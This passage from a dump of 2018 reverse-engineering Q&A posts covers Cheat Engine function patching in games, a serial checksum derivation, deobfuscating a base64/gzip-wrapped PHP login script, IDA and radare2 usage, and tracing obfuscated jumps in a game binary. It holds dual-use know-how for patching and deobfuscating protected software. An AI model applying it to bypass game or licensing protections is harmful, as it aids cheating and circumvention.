    Finally as another tip, in the Memory Viewer, if you run Tools -> Dissect Code, you can then select the base module and any other dependencies to run a bunch of automated tasks on, like finding all referenced strings and functions, and finding all xrefs to all routines!

    \n\n

    The xrefs one is great for being able to head to the prologue of any given function (right-click on any instruction and choose Select current function, then scroll to the top) and quickly see how many callers there are (of which you can double-click any of to go to them).

    \n\n

    This allows you to quickly see if a function is shared, thus potentially acting as a pivot point to either patch with a ret (or however you'd prefer to patch), or allowing you to choose which specific call instructions to that particular function you'd like to individually patch.

    \n" }, { "Id": "18325", "CreationDate": "2018-05-20T20:50:48.997", "Body": "

    I\u2019m pretty new to reverse engineering, so bear with me...

    \n\n

    I\u2019m trying to get a few struct definitions (or whatever they\u2019re called) from this one binary. After some time fiddling around with it, I\u2019ve gathered some data I\u2019m pretty sure belongs to the one of the structs I\u2019m interested in. However, upon closer inspection, I\u2019ve noticed the addresses of these \u201cpieces of data\u201d are scattered all over the place within this binary, instead of being in one contiguous chunk, as a struct should be.

    \n\n

    A quick Google search on this issue suggested it might be happening because of \u201cpointer encryption\u201d, which apparently is more like xoring than encrypting(?)... and following searches on the topic lead to nothing.

    \n\n

    Which leads me to ask this: what exactly is \u201cpointer encryption\u201d? Can it be undone? And, if so, how can I decrypt it?

    \n", "Title": "Is pointer decryption possible?", "Tags": "|windows|binary-analysis|c++|pointer|", "Answer": "

    I don't think there is any encryption going on. Probably the program uses multiple structs to store the data which is completely normal.

    \n" }, { "Id": "18329", "CreationDate": "2018-05-22T20:07:37.447", "Body": "

    I'm trying to reverse engineer serial protocol, everything seems straightforward, except checksum byte. Seems to be some easy algorithm - when sum of all bytes is the same, checksum/crc stays the same. But still can not figure exact algorithm:

    \n\n

    Last byte is Checksum.

    \n\n

    80,6F,A3,01,02,B0,08,18
    \n80,6F,A3,03,00,80,00,40
    \n80,6F,A3,02,00,80,00,41
    \n80,6F,A3,04,00,80,00,43
    \n80,6F,A3,01,01,81,08,48
    \n80,6F,A3,01,02,80,08,48
    \n80,6F,A3,01,00,81,08,49
    \n80,6F,A3,01,04,80,08,4A
    \n80,6F,A3,01,00,80,08,4E
    \n80,6F,A3,01,02,A0,08,68
    \n80,6F,A3,01,01,A2,08,6B
    \n80,6F,A3,01,02,88,08,70
    \n80,6F,A3,01,06,80,08,74
    \n80,6F,A3,01,00,88,08,76
    \n80,6F,A3,01,02,90,08,78
    \n80,6F,A3,01,12,80,08,78

    \n\n

    responses:

    \n\n

    10,03,A3,00,01,00,38,06,73,9C,9B,94,00,12,12,02
    \n10,03,A3,00,01,00,38,0A,74,A0,8E,94,00,12,12,06
    \n10,03,A3,00,01,00,40,06,72,9E,99,94,00,12,12,0B
    \n10,03,A3,00,01,00,30,07,72,9B,9A,8E,00,12,12,12
    \n10,03,A3,00,01,00,38,04,74,77,78,CC,01,12,12,12
    \n10,03,A3,00,01,00,30,07,71,9B,99,90,00,12,12,12
    \n10,03,A3,00,01,00,30,07,6F,9F,92,94,00,12,12,13
    \n10,03,A3,00,01,00,30,07,6E,A1,8C,94,00,12,12,14
    \n10,03,A3,00,01,00,30,07,6E,A0,8E,94,00,12,12,17
    \n10,03,A3,00,01,00,30,07,72,9B,9A,90,00,12,12,1C
    \n10,03,A3,00,01,00,30,06,72,A1,91,94,00,12,12,1C
    \n10,03,A3,00,01,00,30,07,72,9B,99,90,00,12,12,1D
    \n10,03,A3,00,01,00,30,07,70,9C,98,94,00,12,12,1F
    \n10,03,A3,00,01,00,38,05,74,76,77,00,00,12,12,2C
    \n10,03,A3,00,01,00,B4,03,6C,3E,3A,00,00,12,00,31
    \n10,03,A3,00,01,00,30,06,72,72,71,00,00,12,12,33

    \n\n

    First byte stays the same, not sure if I should count with them into checksum.

    \n\n

    All help appreciated.

    \n", "Title": "Reverse engineering checksum - LG 485 a/c protocol", "Tags": "|decryption|binary|", "Answer": "

    did not check the second set

    \n\n

    but your first set appears to be xorred by 0x55

    \n\n

    0x55 ^ 0x18 == 0x4d (8 bit checksum )

    \n\n

    edit

    \n\n

    ok my guess was right here is a python script that prints the chksum \nusing the data copy pasted to a text file

    \n\n
    infile = open(\"timepass.txt\" , \"r\")\nwhile True:\n    line = infile.readline()\n    a = line.split(\",\")\n    sum = 0x0;\n    for i in range(0,len(a)-1,1):\n        sum = sum + int(a[i],16)\n    if not line:\n        break\n    print hex( ((sum % 0x100) ^ 0x55) ),\ninfile.close()\n
    \n\n

    here is the result

    \n\n
    C:\\>python chksum.py\n0x18 0x40 0x41 0x43 0x48 0x48 0x49 0x4a \n0x4e 0x68 0x6b 0x70 0x74 0x76 0x78 0x78 \n0x2 0x6 0xb 0x12 0x12 0x12 0x13 0x14 \n0x17 0x1c 0x1c 0x1d 0x1f 0x2c 0x31 0x33\n
    \n" }, { "Id": "18331", "CreationDate": "2018-05-22T23:30:51.440", "Body": "

    Description

    \n

    I asked for help on freelancing, for the finalization of the project in PHP. All this worked well until I needed to edit the authorization mechanism. Having opened the file, I found that it was encrypted. Tried to contact him, but unsuccessfully. Help me find the decoder, the files are flooded with pastest.

    \n

    Samples:

    \n
    \n

    The original file is covered with pattern: https://pastebin.com/etEWDu2S eval(gzuncompress(base64_decode('

    \n

    The decrypted file (but the lines are obfuscated): https://pastebin.com/AWr6zGg1 $GLOBALS['1867101966'][round(0)]

    \n

    Another file is route.php, there are generally three lines: https://pastebin.com/FmbSyYLZ multiple eval(gzuncompress(base64_decode('

    \n
    \n

    Happyness day!

    \n", "Title": "Decrypting authorization PHP script", "Tags": "|decryption|deobfuscation|php|", "Answer": "

    adding another answer because this contains substantially more info and might mess up the earlier answer

    \n\n

    contents of directory pre experiment
    \n32xxxx.*php.txt is from unphp.net
    \netE.*txt is content of original posts first link
    \nb64.dat is the base64 string without quotes from the etE.*txt file

    \n\n

    the other 2 are python scripts

    \n\n
    :\\>ls\n317ca73f142f83e85c24c22cb66c59c7_php.txt  decodebase64.py  findround.py\nb64.dat                                   etEWDu2S.txt\n
    \n\n

    contents of python script that recursively replaces round() functions
    \nuses subprocess module and evaluates the round() using PHP -r

    \n\n
    :\\>cat findround.py\nimport sys\nimport subprocess\n\nif( len(sys.argv) != 2):\n    print(\"usage \"+ sys.argv[0] + \" \\\"path to infile\\\"\")\n    sys.exit();\n\nprint \"opening \" + sys.argv[1]\ninfile = open(sys.argv[1] , \"r\")\nprint \"reading all the lines\"\ndata = infile.readlines();\nprint \"closing the input file\"\ninfile.close();\nprint \"total number of lines read = %d\" % len(data)\n\nfor i in range(0,len(data),1):\n    pos = data[i].rfind(\"round(\")\n    if(pos == -1):\n        continue\n    else:\n        substrobrace= data[i][pos:]\n        cbpos = substrobrace.find(\")\")\n        #print substrobrace[:cbpos+1]\n        commandline = \"php -r \" +\"\\\"print \" + substrobrace[:cbpos+1] +  \";\\\"\"\n        repl = subprocess.check_output( commandline )\n        data[i] = data[i].replace(substrobrace[:cbpos+1] , repl)\n        #print data[i]\n        while (pos != -1):\n            pos = data[i].rfind(\"round(\")\n            if(pos == -1):\n                break\n            else:\n                substrobrace= data[i][pos:]\n                cbpos = substrobrace.find(\")\")\n                #print substrobrace[:cbpos+1]\n                commandline = \"php -r \" +\"\\\"print \" + substrobrace[:cbpos+1] +  \";\\\"\"\n                repl = subprocess.check_output( commandline )\n                data[i] = data[i].replace(substrobrace[:cbpos+1] , repl)\n                #print data[i]\noutfilename = sys.argv[1] +\".deob\"\noutfile = open(outfilename,\"w\")\noutfile.writelines(data)\noutfile.close()\n
    \n\n

    contents of python scripts that de-obfuscates the etE.*.txt file
    \nagain uses supprocess to beautify the single line eval();

    \n\n
    :\\>cat decodebase64.py\nimport sys\nimport base64\nimport zlib\nimport time\nimport subprocess\n\nf1 = open(sys.argv[1],\"rb\")\nf2 = open(sys.argv[2],\"wb\")\nf3 = open(sys.argv[3],\"wb\")\nbase64.decode(f1,f2)\nf1.close()\nf2.close()\nf2 = open(sys.argv[2],\"rb\")\ndat = f2.read()\nf2.close()\ndecom = zlib.decompress(dat)\ntagdecom = \"<?php \" + decom + \"?>\"\nf3.write(tagdecom)\nf3.close()\ntime.sleep(5)\ncommandline = \"c:\\\\php\\\\php_beautifier.bat \" + sys.argv[3] + \" \"+ sys.argv[3] +\".php\"\nres = subprocess.check_output( commandline )\ndeobcmdline = \"python findround.py \" + sys.argv[3] +\".php\"\nres = subprocess.check_output( deobcmdline )\n
    \n\n

    executing the decodebase64.py with arguments
    \n(this file calls the other script after some timeout so you get a deobfuscated file in one go with all the round() replaced) also diffed with output from unphp.net for sanity check
    \n(js beautifier module in earlier my answer messes ugly php with white space error)

    \n\n
    :\\>decodebase64.py b64.dat b64.dec b64.ugly\n\n:\\>diff b64.ugly.php 317ca73f142f83e85c24c22cb66c59c7_php.txt\n0a1,2\n> /* Decoded by unphp.net */\n>\n
    \n\n

    checking if the deobfuscated php file is compilable or not

    \n\n
    :\\>phpdbg b64.ugly.php.deob\n[Welcome to phpdbg, the interactive PHP debugger, v0.5.0]\nTo get help using phpdbg type \"help\" and press enter\n[Please report bugs to <http://bugs.php.net/report.php>]\n[Successful compilation of C:\\b64.ugly.php.deob]\nprompt> q\n
    \n\n

    contents of the deobfuscated file with round() replaced with actual values

    \n\n
    :\\>head b64.ugly.php.deob\n<?php if (isset($_SESSION['id'])) {\n    header('Location: ../');\n    exit();\n}\n$message = '';\nif ((3165 ^ 3165) && preg_split($seneiuhtrbbit)) fgetss($pdo, $nav);\n(3253 - 3253 + 3158 - 3158) ? strnatcmp($pdo, $letter, $password) : mt_rand(806, 3253);\nif (isset($_GET['data']) && isset($_GET['a'])) {\n    $id = check($_GET['a'], \"int\");\n    $STH = $pdo->prepare(\"SELECT `id`, `login`, `email` FROM `users` WHERE `id`=:id LIMIT 1\");\n\n:\\>\n
    \n\n

    as you can see and as john posted in his answer this now contains
    \nfake if() / while() / ternary operators / which will never execute \nnotice if((3165 ^ 3165) && where the first condition evaluates to 0 so will never execute the fgetss =()
    \ntry php -a to open an interactive php shell and try evaluating the lines one by one
    \nnotice i modified the if condition to show the execution of second condition \nwhich has a wrong numbers of argument
    \nprototype of preg_split is preg_split(regex,string,flag);

    \n\n
    :\\>php -a\nInteractive shell\n\nphp > if ((3165 ^ 3165) && preg_split($seneiuhtrbbit)) fgetss($pdo, $nav);\nphp > if ((3165 ^ 3164) && preg_split($seneiuhtrbbit)) fgetss($pdo, $nav);\n\nWarning: preg_split() expects at least 2 parameters, 1 given in php shell code on line 1\nphp >    \n
    \n\n

    so you need to pluck them out manually

    \n" }, { "Id": "18332", "CreationDate": "2018-05-23T05:25:13.620", "Body": "

    I am trying to create a graph so that I can visualize the flow of a particular function in a game that I am interested in. I was initially using Cheat Engine to follow the flow of the function, but after going through about 20 jmps to finally get to the ret instruction, I decided to open up the executable in IDA so that I could see the graph view.

    \n\n

    When I opened the executable in IDA, I ran into an issue where the auto-analysis gets \"stuck\" in a loop, never finishing.

    \n\n

    Looking at the code, I do wonder if there is some sort of obfuscation going on, because it seems like the same thing could be coded in a far lesser number of instructions.

    \n\n

    What should I do?

    \n\n

    Here is an example of a piece of the code that I suspect is causing an issue (sorry if my comments don't make much sense):

    \n\n
    cmp [rcx],rdi             ; if *rcx == rdi:\ncmove eax,r15d            ; do eax = r15d\nadd rcx,08                ; rcx += 8\ndec rdx                   ; i -= 1\nmov [rsp-08],rbp          ; var a = rbp\nlea rsp,[rsp-08]          ; rsp = &a\nmov rbp,game.exe+13139A0  ; rbp = game.exe+13139A0\nxchg [rsp],rbp            ; swap(a, rbp) i.e.\n                          ;   a = game.exe+13139A0\n                          ;   rbp = rbp (original value)\nlea rsp,[rsp-08]          ; var b; rsp = &b\nmov [rsp],rbx             ; b = rbx\nlea rsp,[rsp-08]          ; var c; rsp = &c\nmov [rsp],rax             ; c = rax\nmov rbx,[rsp+10]          ; rbx = a\nmov rax,game.exe+1313990  ; rax = game.exe+1313990\ncmovne rbx,rax            ; rbx = i == 0 ? rax : rbx\nmov [rsp+10],rbx          ; a = rbx\nlea rsp,[rsp+08]          ; rsp = &b\nmov rax,[rsp-08]          ; rax = c\nmov rbx,[rsp]             ; rbx = b\nlea rsp,[rsp+08]          ; rsp = &a\nlea rsp,[rsp+08]          ; rsp = &???\njmp qword ptr [rsp-08]    ; jmp a i.e.\n                          ;   i == 0: game.exe+1313990\n                          ;   i != 0: game.exe+13139A0\n
    \n", "Title": "IDA 7.0 (freeware) auto-analysis gets stuck in a loop", "Tags": "|ida|assembly|deobfuscation|", "Answer": "

    Undefining the code piece, which makes autoanalysis stuck, usually helps. You can always return to this part and make it code again after autoanalysis is complete.

    \n" }, { "Id": "18338", "CreationDate": "2018-05-23T14:05:09.150", "Body": "

    When decompiling a dll file there are certain lines of code that read like this:

    \n\n

    return \\u0013.\\u0002.\\u0001(url, info);

    \n\n

    I have two questions on this:

    \n\n

    1) does \\u00xx mean that it is obfuscated, if yes, what steps can I take to understand it

    \n\n

    2) what are the . between each one, is it a dnSpy thing or does it mean something in C#

    \n", "Title": "dnSpy - What do these symbols mean?", "Tags": "|decompilation|dll|.net|", "Answer": "

    These are Unicode characters that are not supported by the font used by dnSpy.\nUsually, you'll see it when the code is obfuscated or in cases where the developer used languages as Chinese and Russian in their code. But yeah, usually obfuscation.

    \n\n

    You can try to deobfuscate this .Net binary by using de4dot which is doing an incredible job with deobfuscating obfuscated .net applications. de4dot's engine was later used to create dnSpy which is my favorite .Net decompiler.

    \n\n

    The separating dots are the dot Operator, just as in most popular programming languages, the dot operator is used to access members of variables, types, etc. \"Members\" can be a method, attribute, and others.

    \n\n

    In your case, \\u0001 is a method of \\u0002 which is a member of the variable \\u0013.

    \n" }, { "Id": "18341", "CreationDate": "2018-05-23T16:44:21.493", "Body": "

    I am trying to use objdump -d fileName on a s-rec file and it returns unknown architecture, however it recognizes fileName: file format srec

    \n\n

    I looked at objdump --help and under supported targets srec and symbolsrec is listed.

    \n\n

    I have tried

    \n\n

    objdump -d -M srec myFile

    \n\n

    objdump -d -m srec myFile

    \n\n

    What is the best way to tackle this? Alternatives?

    \n", "Title": "objdump: can't disassemble for architecture UNKNOWN!", "Tags": "|disassembly|", "Answer": "

    In case this ends up being useful for anyone else, I had the same exact error, but it was in a cross-compilation project. My problem was that my CMake toolchain was erroneously setting CMAKE_OBJDUMP to /usr/bin/objdump instead of /usr/bin/arm-none-eabi-objdump. I fixed this by forcing my toolchain.cmake file to use /usr/bin/arm-none-eabi-objdump and /usr/bin/arm-none-eabi-objcopy, by adding these lines to my toolchain.cmake BEFORE any calls to find_program(...):

    \n\n\n\n
    unset(CMAKE_OBJCOPY CACHE)\nunset(CMAKE_OBJDUMP CACHE)\n
    \n\n

    My CMake version is 3.16.3. I submitted a bug report for this here: https://gitlab.kitware.com/cmake/cmake/-/issues/20787

    \n" }, { "Id": "18342", "CreationDate": "2018-05-23T17:18:36.893", "Body": "

    I understand that I can execute my script within a session using [0x401000]> . server.py and the pipe will be connected to it when I call r2pipe.open() with no arguments.

    \n\n

    Ideally I would like to spawn a simple tcp server in python which waits for specific commands from a client. The client is invoked from a live r2 session like [0x401000]> . client.py --command doAnalysis. The command is passed to the server which opens a pipe to my r2 session, performs the analysis, then maybe updates my session (really to just be able to run commands from the server which was not opened from my r2 session). The reason I require the server to always be running is because it will be collecting data and I don't want to be re-collecting that data every time I need to do some analysis. I can't invoke the server from my r2 session because the session will be blocked by the server.

    \n\n

    It would be great if the server could open an r2pipe directly to my r2 session but I don't know how to do that or if is even possible. I tried using pickle to send the r2 instance over a socket but it couldn't pickle it. Any thoughts?

    \n", "Title": "Is there a way to explicitly connect r2pipe to an existing radare2 session that I have open?", "Tags": "|debugging|radare2|python|", "Answer": "

    I'm not sure I fully understood you, but I'll give it a try anyway.

    \n\n

    The following instructions will explain how to achieve something like this:|

    \n\n

    \"enter

    \n\n
    \n\n

    radare2 comes with its own webserver. Although at first, it might seems like an overkill, its actually quite useful, especially when you want to debug embedded systems, or simply to execute commands from a remote terminal.

    \n\n

    Simply launch the web server with =h <port> and connect to it with any HTTP client.

    \n\n

    You can print the help for this command by using =h?:

    \n\n
    [0x00000000]> =h?\n|Usage:  =[hH] [...] # http server\n| http server:\n| =h port       listen for http connections (r2 -qc=H /bin/ls)\n| =h-           stop background webserver\n| =h--          stop foreground webserver\n| =h*           restart current webserver\n| =h& port      start http server in background\n| =H port       launch browser and listen for http\n| =H& port      launch browser and listen for http in background\n
    \n\n

    So let's use a oneliner command to spawn a radare2 web server with a session to our beloved /bin/ls/:

    \n\n
    $ r2 -c=h /bin/ls\nStarting http server...\nopen http://localhost:9090/\nr2 -C http://localhost:9090/cmd/\n
    \n\n

    Good, now that we have an HTTP server running with an open session, let's connect to it.

    \n\n

    You can do this with curl:

    \n\n
    $ curl http://127.0.0.1:9090/cmd/?EHello,World!\n .--.     .--------------.\n | _|     |              |\n | O O   <  Hello,World! |\n |  |  |  |              |\n || | /   `--------------'\n |`-'|\n `---'\n
    \n\n

    You can even do this from your favorite browser:

    \n\n

    \"enter

    \n\n

    Although it's cool, it isn't helping you -- you asked for a solution using r2pipe. Well... there is!

    \n\n

    What is r2pipe?

    \n\n
    \n

    The r2pipe APIs are based on a single r2 primitive found behind\n r_core_cmd_str() which is a function that accepts a string parameter\n describing the r2 command to run and returns a string with the result.

    \n \n

    Source: r2pipe repository

    \n
    \n\n

    As you probably know, using python, you can just do import r2pipe and r2pipe.open(\"/bin/ls\") to open a radare2 session with \"/bin/ls\". Did you know that you can connect with r2pipe to a remote web server? Yup.

    \n\n

    Let's write a quick script to do so:

    \n\n
    import r2pipe\n\nprint(\"[+] Connecting with python r2pipe\")\n\nr2_remote = r2pipe.open(\"http://127.0.0.1:9090\")\ncommand = \"?E Welcome from server!\"\n\nwhile command != \"stop\":\n    print (r2_remote.cmd(command))\n    command = raw_input(\"r2cmd > \")\n
    \n\n

    Save the script to poc.py on you drive.

    \n\n

    Now let's run r2 -c=h /bin/ls in one terminal and python poc.py in another one:

    \n\n

    \"enter

    \n\n

    Yes, radare2 can also print QR codes.

    \n" }, { "Id": "18347", "CreationDate": "2018-05-24T10:41:47.827", "Body": "

    I'm browsing an old 80186 BIOS ROM in IDA free. I have loaded the binary file at the correct address and created one big segment for the entire thing since I knew nothing about the internal structure.

    \n\n

    Now, as I have been digging around, disassembling, commenting etc, I have identified some things that I'd like to create new segments for, e.g. interrupt vector seg:offset, far jmps, jump tables that are offsets into different CS values, etc.

    \n\n
      \n

    1. Is this how you are supposed to use IDA segments? I.e. avoid having to hand-calculate linear addresses from jump table offsets by making a new segment with the (known) CS value at the time the table is used.

      2. \n

    2. How do I create a new segment without losing the data entered (disassembly, arrays, comments...) in the one all-encompassing segment I already have? It seems that to make room for a new segment, I need to delete or move the one that's already there, but when I do, all work done in that area (of linear addresses) is lost.

      3. \n
    \n\n

    Edit: This is the ROM. It's loaded at 0xf0000-0x100000, entry point is f000:fff0 (reset vector)\nhttps://www.dropbox.com/s/63oxq39w0v3rdo9/RYSA094_joined.bin?dl=0

    \n", "Title": "IDA: add segments without losing data", "Tags": "|ida|x86|", "Answer": "

    IDA's UI deletes segment items because usually the code needs to be recreated if the segment base changes.\nIf you cheat and don't change the segment base immediately, items won't be destroyed. I.e. try this:

    \n\n
      \n

    1. create new segment specifying the same base as the existing segment. IDA usually fills in the current segment base if you use selection before invoking the \"Create Segment\" menu item.

      2. \n

    2. change the segment base behind IDA's back using IDC or IDAPython:

      \n\n

      set_segm_attr(here, SEGATTR_SEL, newbase)

      3. \n
    \n\n

    Some xrefs, especially those based on current segment/CS may need to be recreated.

    \n" }, { "Id": "18350", "CreationDate": "2018-05-24T13:42:34.140", "Body": "

    I have a text.txt file and I want to read it and print its content in the Output Window of IDA Pro (Free version).

    \n\n

    I wrote an .idc script as follows:

    \n\n
    #include <idc.idc>\n\nstatic main() {\n    auto fp;\n    auto toPrint;\n\n    fp = fopen(\"C:\\Users\\bob\\text.txt\", \"r\"); // fp is a file handle\n\n    toPrint = fgetc(fp);\n\n    Message(\"%s is the string\\n\", toPrint);\n\n}\n
    \n\n

    \"enter

    \n\n

    But it gives me an unknown character as shown above. I also tried using toPrint = readstr(fp), but it does not work. (same unknown character)

    \n\n

    PS: I'm analysing a 32 bit PE file. I could not use IDAPython, as I'm using the x64 free version, so I have to resort to IDC. Any help appreciated.

    \n", "Title": "Reading from text file and printing it in IDA Pro", "Tags": "|ida|c|encodings|", "Answer": "

    The variant below works for me.

    \n\n
    static main() {\n    auto fp;\n    auto toPrint;\n    fp = fopen(\"C:\\\\Users\\\\[cenzored]\\\\desktop\\\\text.txt\", \"r\"); // fp is a file handle\n    do {\n        toPrint = readstr(fp);\n         if (toPrint != -1)Message(toPrint);\n    } while (toPrint != -1);\n}\n
    \n\n

    Actually there are 3 differences between your code and working variant:

    \n\n
      \n
    • it uses readstr which returns string
      • \n
    • It avoids using format string in Message function (but Message(\"%s\", toPrint) works too)
      • \n
    • As in normal C I use double slash (\\\\ instead of \\) for the path of the file. This is probably an initial cause of your problem: symbols preceded by single slash are interpreted as escape sequences which means that the file name was interpreted incorrectly and was not opened.
      • \n
    \n\n

    Using fgetc in a way you did is also incorrect because it returns long or character, not a string, and Message function probably interprets is as a pointer.\nI checked this on IDA 6.9. In a later versions it is probably better to detect an EOF by value_is_string function for this.

    \n" }, { "Id": "18357", "CreationDate": "2018-05-25T06:11:55.723", "Body": "

    Is it possible to detect whether a given executable is a PIC by looking at the disassembler's output? If not, what are other valid ways to go about this?

    \n", "Title": "Position-independent code dectection", "Tags": "|elf|pie|", "Answer": "

    Detection by analysing assembly

    \n

    It will highly depend on the compiler used, but here are some constructions that will differ between position independent and position dependent code:

    \n
      \n
    • if you spot a jmp to an absolute address, that will mean that it is PDC (only jumps relative to RIP will be used in PIC)
      • \n
    • when some data is referenced by absolute address, it is PDC
      • \n
    • as @Johann Aydinbas noticed, when you see patterns like cal $+, pop or call xxx, pop to push some absolute address onto the stack, it will likely be PIC
      • \n
    \n

    Detection by opening with debugger

    \n

    You may also take advantage of the fact, that when you load position independent program and check address of some function, main for example, it will change each time you load it (because of ASLR). The same won't be true for PDC - all addresses will remain the same.

    \n

    Detection by reading the ELF header

    \n

    Why making your job hard analysing the executable, while it provides explicitly the information you need. As you noted in the comment, ET_EXEC value of e_type will be present in PDC, while ET_DYN will appear in PIC. And, according to the second answer to this question, this is the information used to determine whether ASLR may be used, in Linux.

    \n

    Other methods

    \n

    You may of course use other tools for this purpose, like file or readelf for instance.

    \n" }, { "Id": "18363", "CreationDate": "2018-05-25T18:11:05.543", "Body": "

    I've seen this question which says __PAIR__ macro does some conditional computation. But I can not relate that with standard I/O handles. Here is the pseudocode in IDA:

    \n\n\n\n
    if ( (char *)hConout - 1 <= (char *)0xFFFFFFFFFFFFFFFDi64 ) {\nConfigureStdHandles((PHANDLE)handle);\nv175 = __PAIR__(1, (unsigned int)handle[0]);\nv176 = __PAIR__(2, (unsigned int)handle[1]);\nv177 = __PAIR__(2, (unsigned int)handle[2]);\n
    \n\n

    Here is the corresponding Assembly:

    \n\n
    loc_1400088CA:                          ; CODE XREF: wmain+FBF\u2191j\nmov     [rsp+418h+handle+18h], rsi\nlea     rax, [rsi-1]\ncmp     rax, 0FFFFFFFFFFFFFFFDh\nsetbe   al\nmov     rcx, [rsp+418h]\ntest    al, al\njz      loc_140008BAD\nlea     rcx, [rsp+418h+handle] ; hIn\ncall    _ConfigureStdHandles\nmov     esi, 1\nmov     dword ptr [rsp+418h+var_268+4], esi\nmov     eax, dword ptr [rsp+418h+handle]\nmov     dword ptr [rsp+418h+var_268], eax\nmov     dword ptr [rsp+418h+var_260+4], 2\nmov     eax, dword ptr [rsp+418h+handle+8]\nmov     dword ptr [rsp+418h+var_260], eax\nmov     dword ptr [rsp+418h+var_258+4], 2\nmov     eax, dword ptr [rsp+418h+handle+10h]\nmov     dword ptr [rsp+418h+var_258], eax\ncmp     [rsp+418h+var_230], r15b\njz      short loc_140008958\nmov     [rsp+418h+var_268], r15\nloc_140008958:  \n
    \n\n

    The handles are for standard input, output and error respectively. Can you explain what does the __PAIR__ macro do with those handles?

    \n", "Title": "What does _PAIR_ macro do with standard handles?", "Tags": "|disassembly|", "Answer": "

    __PAIR__ represents a 64-bit value constructed from two 32-bit values. Because you have 64-bit variables (var_260 etc) being initialized by halves, decompiler detected a 64-bit move pattern and represented the right-hand side it as __PAIR__ helper. If you think it's wrong, you can fix it by:

    \n\n
      \n

    1. fixing the stack variable to be two 32-bit ones instead of one 64-bit. You can do it by opening the stack frame view (e.g double-click on the stkvar) and editing the frame structure (e.g with D key). After refreshing (F5), the decompiler should show simple 32-bit assignments without __PAIR__.

      2. \n

    2. splitting the 64-bit assignment into separate 32-bit ones. For that, use \"Split Assignment\" in the context menu.

      3. \n
    \n\n
    \n\n

    EDIT I suspect that those stack variables are not 64-bit integers but actually small structs of two members, e.g.

    \n\n
    struct handle_desc {\n  int handle;\n  int index;\n}\n
    \n\n

    maybe look at how they\u2019re used later in the code.

    \n" }, { "Id": "18365", "CreationDate": "2018-05-26T04:33:13.960", "Body": "

    It appears to me that in my function the compiler has reused a stack slot for two variables of types. However, Hex-Rays has not recognized it as such. How can I split the local variable into two?

    \n", "Title": "How do I resolve IDA pro Hexrays aliased local variables?", "Tags": "|ida|hexrays|", "Answer": "

    I usually add structs with unions to make the output slightly more readable when the compiler has reused a stack slot for different variables.

    \n\n

    In 7.2, it seems that you can force the decompiler to \"create a new variable\", which makes this easier and less ugly. Yay!

    \n" }, { "Id": "18366", "CreationDate": "2018-05-26T05:16:18.310", "Body": "

    Hex-Rays decompiled (with the assistance of pdb symbols) a piece of code as such: XPerfAddIn::CFramesInfoSource::MatchEventDescriptor( (XPerfAddIn::CFramesInfoSource *)2

    \n\n

    And by my following of the assembly, it is correct:

    \n\n
    xor     r15d, r15d\ntest    rax, rax\njz      loc_1800224C7\nlea     r13, [rax+20h]\ncmp     [r13+0], r15\njz      loc_1800224C7\nlea     r12, [r14+28h]\nmov     rax, [rsp+260h+a3]\nmov     rcx, [rax]\ncmp     rcx, cs:qword_180044990\njnz     loc_1800224C7\nmov     rax, [rax+8]\ncmp     rax, cs:qword_180044998\njnz     loc_1800224C7\nlea     ecx, [r15+2]\nmov     r9d, ecx        ; a4\nlea     r8, MSHTML_CDOC_ONPAINT_START_V1 ; a3\nmov     rdx, r12        ; a2\ncall    ?MatchEventDescriptor@CFramesInfoSource@XPerfAddIn\n
    \n\n

    MatchEventDescriptor does not use the 'this' parameter in rcx, so it doesn't really matter what gets passed in. So why would the compiler emit an extra lea instruction to pass in a constant 2 instead of just leaving it 0... or passing in the actual, correct this value?

    \n", "Title": "Why would MSVC pass a constant \"2\" for an unused this parameter?", "Tags": "|ida|disassembly|msvc|", "Answer": "

    Apparently ecx is just used as a temporary for calculating the value 2 which is copied to r9d and is probably used later in the function.

    \n\n

    When the decompiler does not have reliable information about function prototype, it has to resort to heuristics, or guessing. Since the demangled function name looks like a C++ method, it assumes that it\u2019s a method of a class XPerfAddIn::CFramesInfoSource and since it\u2019s not marked static, it probably takes in the class instance in rcx as common for the thiscall calling convention, thus the value in rcx (ecx) is assumed to be the this pointer.

    \n\n

    If you analyzed the function and deduced that it does not actually use rcx/ecx, you can edit the function prototype, remove the this argument and __thiscall calling convention to get \u201cproper\u201d decompilation.

    \n" }, { "Id": "18368", "CreationDate": "2018-05-26T11:17:33.780", "Body": "

    I have taken a dump of a game using Explorer Suite, and while looking at some obfuscated parts of the game PE's text section in IDA, I've seen code that follows this form:

    \n\n
    mov rbp, 7FF633CE2790h\njmp rbp\n
    \n\n

    From what I understand, code is meant to be relocatable, so why would a hardcoded address - which appears to be referring to a virtual address not known until runtime - be here?

    \n\n

    To deal with these \"hardcoded\" jump addresses, do I need rebase the PE in IDA to the virtual address it was located at when the program ran? I believe that the dumper I used rebases to 140000000, which of course causes IDA to be unable to analyze the above code.

    \n\n

    Edit: here's a concrete example:

    \n\n
     game.exe+1B9E0E1E - 45 85 C0              - test r8d,r8d              ; ZF = r8d == 0\n game.exe+1B9E0E21 - 48 89 6C 24 F8        - mov [rsp-08],rbp          ; rsp = &a\n game.exe+1B9E0E26 - E9 D8897FFF           - jmp game.exe+1B1D9803\n\n game.exe+1B1D9803 - 48 8D 64 24 F8        - lea rsp,[rsp-08]          ; rsp = &b\n game.exe+1B1D9808 - 48 BD 7527F508F77F0000 - mov rbp,game.exe+1382775 ; rbp = addr1\n game.exe+1B1D9812 - 48 87 2C 24           - xchg [rsp],rbp            ; b = addr1, rbp = rbp\n game.exe+1B1D9816 - E9 E6F33C02           - jmp game.exe+1D5A8C01\n\n game.exe+1D5A8C01 - 48 8D 64 24 F8        - lea rsp,[rsp-08]          ; rsp = &c\n game.exe+1D5A8C06 - 48 89 1C 24           - mov [rsp],rbx             ; c = rbx\n game.exe+1D5A8C0A - 48 89 44 24 F8        - mov [rsp-08],rax          ; d = rax\n game.exe+1D5A8C0F - 48 8D 64 24 F8        - lea rsp,[rsp-08]          ; rsp = &d\n game.exe+1D5A8C14 - E9 D8151C00           - jmp game.exe+1D76A1F1\n\n game.exe+1D76A1F1 - 48 8B 5C 24 10        - mov rbx,[rsp+10]          ; rbx = b\n game.exe+1D76A1F6 - 48 B8 9027F508F77F0000 - mov rax,game.exe+1382790 ; rax = addr2\n game.exe+1D76A200 - E9 CA476400           - jmp game.exe+1DDAE9CF\n\n game.exe+1DDAE9CF - 48 0F44 D8            - cmove rbx,rax             ; rbx = (r8d == 0) ? addr2 : addr1\n game.exe+1DDAE9D3 - 48 89 5C 24 10        - mov [rsp+10],rbx          ; b = rbx (addr1 or addr2)\n game.exe+1DDAE9D8 - 48 8B 04 24           - mov rax,[rsp]                      \n game.exe+1DDAE9DC - 48 8D 64 24 